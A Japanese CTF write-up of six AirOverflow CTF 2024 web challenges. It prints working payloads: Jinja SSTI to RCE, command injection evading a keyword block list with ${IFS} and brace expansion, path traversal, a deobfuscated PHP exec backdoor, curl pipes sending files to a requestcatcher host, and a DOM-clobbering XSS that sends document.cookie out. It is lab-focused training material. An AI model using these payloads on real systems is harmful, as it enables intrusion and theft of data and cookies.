https://ctftime.org/event/2360
- [Web] QrZilla
- [Web] Feedback
- [Web] MusicOverflow2077
- [Web] Little Nightmare
- [Web] Katana
- [Web] Streamify あきらめ
[Web] QrZilla
ソースコード無し。
QRコードの作成と読み込みができるサイトが与えられる。
色々試すとSSTI脆弱性があった。
{{7*7}}
を入れてQRコードを作成し、生成されるURLをScanの方で表示させると49と表示された。
ということでいつものようにRCEしていく。
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah /').read()}}
でフラグの場所が分かるので、
total 72K drwxr-xr-x 1 root root 4.0K Apr 28 05:09 . drwxr-xr-x 1 root root 4.0K Apr 28 05:09 .. -rwxr-xr-x 1 root root 0 Apr 28 05:09 .dockerenv lrwxrwxrwx 1 root root 7 Apr 8 00:00 bin -> usr/bin drwxr-xr-x 2 root root 4.0K Jan 28 21:20 boot drwxr-xr-x 1 root root 4.0K Apr 23 13:45 code drwxr-xr-x 5 root root 340 Apr 28 05:09 dev drwxr-xr-x 1 root root 4.0K Apr 28 05:09 etc -rw-rw-r-- 1 root root 59 Apr 28 05:09 flag.txt drwxr-xr-x 2 root root 4.0K Jan 28 21:20 home lrwxrwxrwx 1 root root 7 Apr 8 00:00 lib -> usr/lib lrwxrwxrwx 1 root root 9 Apr 8 00:00 lib64 -> usr/lib64 drwxr-xr-x 2 root root 4.0K Apr 8 00:00 media drwxr-xr-x 2 root root 4.0K Apr 8 00:00 mnt drwxr-xr-x 2 root root 4.0K Apr 8 00:00 opt dr-xr-xr-x 306 root root 0 Apr 28 05:09 proc drwx------ 1 root root 4.0K Apr 23 18:29 root drwxr-xr-x 1 root root 4.0K Apr 10 05:25 run lrwxrwxrwx 1 root root 8 Apr 8 00:00 sbin -> usr/sbin drwxr-xr-x 2 root root 4.0K Apr 8 00:00 srv dr-xr-xr-x 13 root root 0 Apr 28 05:09 sys drwxrwxrwt 1 root root 4.0K Apr 23 18:30 tmp drwxr-xr-x 1 root root 4.0K Apr 8 00:00 usr drwxr-xr-x 1 root root 4.0K Apr 8 00:00 var
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}
のようにして取り出す。
[Web] Feedback
ソースコード無し。
入力できる所でガチャガチャやってると`id`
でidコマンドが動いた。
使えない文字があるので色々頑張る必要がありそう。
スペースは${IFS}
で代用可能だった。`cat${IFS}main.py`
でソースコードを抜いてみよう。
from fastapi import FastAPI, Request from fastapi.responses import HTMLResponse from fastapi.staticfiles import StaticFiles from fastapi.templating import Jinja2Templates import os import subprocess app = FastAPI(docs_url=None, redoc_url=None) #app.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\") templates = Jinja2Templates(directory=\"templates\") @app.get(\"/\", response_class=HTMLResponse) async def root(req: Request): return templates.TemplateResponse(\"index.html\", {\"request\": req, \"id\": id}) invalid_chars = [ \" \", \"less\", \"more\", \"head\", \"tail\", \"grep\", \"awk\", \"sed\", \"flag\", \"txt\", \"base\", \"*\", \"/\", \";\", \"[\", \"]\", \"\\\"\", \"\\'\", \"?\" ] @app.post(\"/submit\") async def submit(req: Request): data = await req.json() name = data.get(\"name\") for char in invalid_chars: if char in name: return { \"success\": False, \"response\": \"Invalid Characters\" } try: get_output = subprocess.check_output(f\"echo \" + name, shell=True, executable=\"/bin/bash\") except: return { \"success\": False, \"response\": \"Something went wrong on our side.\" } return { \"success\": True, \"response\": get_output }\n
invalid_chars = [ \" \", \"less\", \"more\", \"head\", \"tail\", \"grep\", \"awk\", \"sed\", \"flag\", \"txt\", \"base\", \"*\", \"/\", \";\", \"[\", \"]\", \"\\\"\", \"\\'\", \"?\" ]
が禁止だった。
スラッシュは${HOME:0:1}
で代用可能。
flag,txtはfla{g..g}
とtx{t..t}
のように回避すればいいので、最終的に`cat${IFS}${HOME:0:1}fla{g..g}.tx{t..t}`
でフラグ取得可能。
[Web] MusicOverflow2077
ソースコード無し。
音楽を鳴らせるサイトが与えられる。
リクエストを眺めると GET /music.php/?song=BIG%20DAWG%20THING.mp3
というディレクトリトラバーサルできそうな所がある。
GET /music.php/?song=../../../../etc/passwd
でいつもの出力が出てきた。
色々試すとソースコードが抜けた。
GET /music.php/?song=../index.php
先頭に難読化されたphpが埋め込まれている。
<?php $_=``.[];$__=@$_;$_= $__[0]; $_1 = $__[2]; $_1++;$_1++;$_1++;$_1++;$_1++;$_1++;$_++;$_++;$_0 = $_;$_++;$_2 = ++$_; $_55 = '_'.(','^'|').('/'^'`').('-'^'~').(')'^'}');$_74 = ('{'^':').('`'^'/').('='^'{').('#'^'`').(')'^'}').('`'^'&').('@'^'r').('k'^'_'); $_ = $_2.$_1.$_2.$_0; $_($$_55[$_74.'_oEC8QYaYKp']);?>
適当に動的解析しながら復元すると最終的にはExEC($_POST['AOFCTF24_oEC8QYaYKp']);
を動かすコードだった。
という訳で以下のような感じでRCEできる。
POST / HTTP/1.1 Host: challs.airoverflow.com:34283 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 148 AOFCTF24_oEC8QYaYKp=sleep%205
遅延するので、curl経由で情報を抜き出していくとフラグが得られる。
ls -la / | curl https://[yours].requestcatcher.com/test -X POST -d @- -> flag_0Lgs89Oz9G.txt cat /flag_0Lgs89Oz9G.txt | curl https://[yours].requestcatcher.com/test -X POST -d @-
[Web] Little Nightmare
ソースコード有り。
/flag
が取得できればクリア。
app.pyは非常にシンプル。
from aiohttp import web app = web.Application() app.add_routes([ web.get('/', lambda request: web.FileResponse('./index.html')), web.static('/', './assets/', follow_symlinks=True) ]) web.run_app(app, port=1337)
ディレクトリトラバーサルやろと思い、以下のリクエストを投げるとフラグがもらえる。
GET /../../../../../flag HTTP/1.1 Host: challs.airoverflow.com:33831
[Web] Katana
<script> const urlParams = new URLSearchParams(window.location.search); for(var [key, value] of urlParams) { if(document.getElementById(key)) { document.getElementById(key).innerText = `${value}`; } else if (window.debugMode) { document.write("unidentified keys <br />"); document.write(`${key} = ${value} <br />`); } else { key = DOMPurify.sanitize(key); document.write(`<span style='color: red'>${key} not found in the document</span><br />`); } } </script>
DOMPurifyがあるのでelseの部分でXSSは難しいが、window.debugMode
の分岐の所ならできそう。
ここにどう入れるかであるが、DOM Clobberingで達成可能。
<a id="debugMode"></a>
を差し込めれば、DOM Clobberingでwindow.debugMode
を入れ込める。
これはurlParamsのループの1週目にelseで入れ込めばよい。
DOMPurifyでも消されないので問題ない。
あとは2週目でXSSする。
何故か本番環境ではdebugModeではなくAOFCTF24に変名されていたので、
/?<a id="AOFCTF24"></a>&xss=<img src=x onerror=fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);>
のような入力をURLエンコードして投げてやればよい。
つまり、以下のようなURLを渡せばrequest catcherにフラグが飛んでくる。
http://challs.airoverflow.com:33843/?%3Ca%20id%3D%22AOFCTF24%22%3E%3C%2Fa%3E&xss=%3Cimg%20src%3Dx%20onerror%3Dfetch%28%60https%3A%2F%2F[yours]%2Erequestcatcher%2Ecom%2Ftest%3F%24%7Bdocument%2Ecookie%7D%60%29%3B%3E
[Web] Streamify あきらめ
ソースコード無し。
サイトを巡回していると/profile
にアクセスしたときにcookieがもらえることに気が付く。
streamer=eyJzdHJlYW1lcm5hbWUiOiJSb290eHJhbiIsInN0YXR1cyI6Im9ubGluZSIsImFnZSI6IjIwIiwiZ2FtZXMiOiIxMyIsImZyaWVuZHNvbmxpbmUiOiI0IiwidG90YWxzdHJlYW1zIjoiMTM2IiwiY2xpcHMiOiIyNCJ9
この入力値がreflectされていることまで気が付いたが、そこから攻撃を進展させることができなかった。
AirOverflow CTF 2024 - Web Write-ups - Saad Akhtar
他の人の解説。
node-serializeが使われていてRCEできたようだ。
似たようなコードを試したのだが…
まあ、しょうがない。